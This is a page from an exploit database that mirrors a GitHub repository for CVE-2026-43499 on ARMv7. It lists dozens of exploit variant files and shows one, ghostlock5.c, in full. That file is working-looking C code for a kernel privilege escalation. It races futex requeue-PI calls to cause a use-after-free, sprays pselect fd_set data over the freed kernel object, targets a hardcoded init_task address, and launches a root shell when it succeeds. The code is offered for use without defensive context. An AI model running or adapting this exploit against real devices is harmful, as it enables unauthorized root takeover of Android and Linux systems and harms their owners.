Exploit databaseDownload repository ZIP
GH-84a2584893aa73cb0829550f9c55b3e1
tc3650/cve-2026-43499-armv7
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
- ↑..Parent directory
- dirtyclone_exploit.c
- dirtyclone_pipe_probe.c
- dirtyclone_surface.c
- dirtyclone_tcp_probe.c
- g62_6iov.c
- g62_8e.c
- g62_8iov.c
- g62_pispray.c
- g62_rand.c
- g62_scan.c
- g62_self.c
- ghostlock.c
- ghostlock10.c
- ghostlock11.c
- ghostlock12.c
- ghostlock13.c
- ghostlock14.c
- ghostlock15.c
- ghostlock16.c
- ghostlock17.c
- ghostlock18.c
- ghostlock19.c
- ghostlock2.c
- ghostlock20.c
- ghostlock21.c
- ghostlock22.c
- ghostlock23.c
- ghostlock24.c
- ghostlock25.c
- ghostlock26.c
- ghostlock27.c
- ghostlock28.c
- ghostlock29.c
- ghostlock3.c
- ghostlock30.c
- ghostlock31.c
- ghostlock31_tmp.c
- ghostlock32.c
- ghostlock33.c
- ghostlock4.c
- ghostlock5.c
- ghostlock6.c
- ghostlock63.c
- ghostlock64.c
- ghostlock8.c
- ghostlock9.c
- ghostlock_all.sh
- ghostlock_check.sh
- ghostlock_root.c
- gl_pselect.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/ghostlock5.c
C · 5,558 bytes/* CVE-2026-43499 Exploit v6 — shift as cmdline arg */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/select.h>
#include <sys/mman.h>
#include <time.h>
#define NR_futex 240
#define NR_futex_time64 422
#define NR_gettid 224
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)
struct ts64 { long long s; long long ns; };
static volatile uint32_t futex1=0, futex2=0, cycle_futex=0;
static volatile int o_ready=0, w_ready=0, o_blocking=0, w_waiting=0, uaf_probe=0;
static volatile int w_done=0, o_done=0, pselect_done=0;
static volatile uint32_t o_tid=0, w_tid=0;
static void *page_base = NULL;
#define INIT_TASK 0xC0909280UL
#define SAFE_TARGET_OFF 0x244 /* init_task->nvcsw */
static long futex_call(uint32_t *u, int op, uint32_t v, void *ts, uint32_t *u2, uint32_t v3)
{
long r = syscall(NR_futex_time64, u, op, v, ts, u2, v3);
if (r < 0 && errno == ENOSYS) {
struct { int32_t s, ns; } ts32 = {};
if (ts) { struct ts64 *t = ts; ts32.s = t->s; ts32.ns = t->ns; }
r = syscall(NR_futex, u, op, v, ts ? &ts32 : NULL, u2, v3);
}
return r;
}
static void *o_fn(void *p) {
(void)p;
o_tid = syscall(NR_gettid);
futex2 = o_tid;
o_ready = 1;
while (!w_ready) sched_yield();
o_blocking = 1;
futex_call(&cycle_futex, FLPI, 0, NULL, NULL, 0);
futex_call(&cycle_futex, FUPI, 0, NULL, NULL, 0);
o_done = 1;
return NULL;
}
static void *w_fn(void *p) {
int shift = *(int*)p;
w_tid = syscall(NR_gettid);
while (!o_ready) sched_yield();
cycle_futex = w_tid;
w_ready = 1;
while (!o_blocking) sched_yield();
usleep(30);
w_waiting = 1;
struct ts64 ts;
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
ts.s = now.tv_sec + 2;
ts.ns = now.tv_nsec;
long r = futex_call(&futex1, FWRQ, 0, &ts, &futex2, 0);
fprintf(stderr, "[w] FWRQ=%ld e=%d\n", r, errno);
for (int i = 0; i < 200; i++) syscall(NR_gettid);
uaf_probe = 1;
/* ENTER PSELECT IMMEDIATELY — fd_set overlays freed waiter */
fd_set in, out, ex;
FD_ZERO(&in); FD_ZERO(&out); FD_ZERO(&ex);
uint32_t target = INIT_TASK + SAFE_TARGET_OFF;
uint32_t wbuf[12] = {0};
if (shift + 0 < 12) wbuf[shift+0] = target | 1;
if (shift + 6 < 12) wbuf[shift+6] = INIT_TASK;
if (shift + 7 < 12) wbuf[shift+7] = (uint32_t)(uintptr_t)page_base;
if (shift + 8 < 12) wbuf[shift+8] = 130;
for (int wi = 0; wi < 12; wi++)
for (int b = 0; b < 32; b++)
if (wbuf[wi] & (1U<<b)) FD_SET(wi*32+b, &in);
FD_SET(383, &ex);
struct ts64 pt = {2, 0};
pselect_done = 0;
r = pselect(384, &in, &out, &ex, (struct timespec*)&pt, NULL);
fprintf(stderr, "[w] pselect=%ld e=%d s=%d\n", r, errno, shift);
pselect_done = 1;
usleep(300000);
futex_call(&cycle_futex, FUPI, 0, NULL, NULL, 0);
w_done = 1;
return NULL;
}
static void *consumer_fn(void *p) {
(void)p;
while (!uaf_probe) usleep(1000);
/* Give W time to enter pselect */
usleep(50000);
fprintf(stderr, "[c] FLPI(cycle)...");
fflush(stderr);
errno = 0;
long r = futex_call(&cycle_futex, FLPI, 0, NULL, NULL, 0);
fprintf(stderr, "=%ld e=%d\n", r, errno);
if (r == 0) {
futex_call(&cycle_futex, FUPI, 0, NULL, NULL, 0);
}
return NULL;
}
static int prep_page(void) {
int fd = memfd_create("gl", 0);
if (fd < 0) fd = open("/dev/ashmem", O_RDWR);
if (fd < 0) return -1;
ftruncate(fd, 4096);
page_base = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
close(fd);
if (page_base == MAP_FAILED) return -1;
memset(page_base, 0, 4096);
return 0;
}
int main(int argc, char **argv) {
int start_shift = 0;
if (argc > 1) start_shift = atoi(argv[1]);
if (start_shift < 0) start_shift = 0;
if (start_shift > 11) start_shift = 11;
printf("=== CVE-2026-43499 Exploit v6 ===\n");
printf("shift=%d page=%p target=0x%08lX\n\n", start_shift, page_base,
(unsigned long)(INIT_TASK + SAFE_TARGET_OFF));
if (prep_page() < 0) { perror("page"); return 1; }
printf("page=%p\n", page_base);
futex1=0; futex2=0; cycle_futex=0;
o_ready=0; w_ready=0; o_blocking=0;
w_waiting=0; uaf_probe=0; w_done=0; o_done=0;
o_tid=0; w_tid=0;
int shift = start_shift;
pthread_t o, w, c;
pthread_create(&w, NULL, w_fn, &shift);
pthread_create(&o, NULL, o_fn, NULL);
while (!w_waiting) sched_yield();
usleep(50);
errno = 0;
long ret = futex_call(&futex1, FCRQ, 1, (void*)(long)1, &futex2, 0);
int se = errno;
printf("[m] FCRQ=%ld e=%d\n", ret, se);
if (se == 35) {
printf("[+] EDEADLK! shift=%d\n", shift);
pthread_create(&c, NULL, consumer_fn, NULL);
for (int i = 0; i < 60 && !pselect_done; i++) usleep(100000);
usleep(200000);
printf("[*] uid=%d euid=%d\n", getuid(), geteuid());
if (getuid() == 0) {
printf("[+] ROOT! shift=%d\n", shift);
execl("/system/bin/sh","sh",NULL);
}
}
for (int i = 0; i < 60 && !w_done; i++) usleep(100000);
for (int i = 0; i < 60 && !o_done; i++) usleep(100000);
printf("[*] uid=%d\n", getuid());
return 0;
}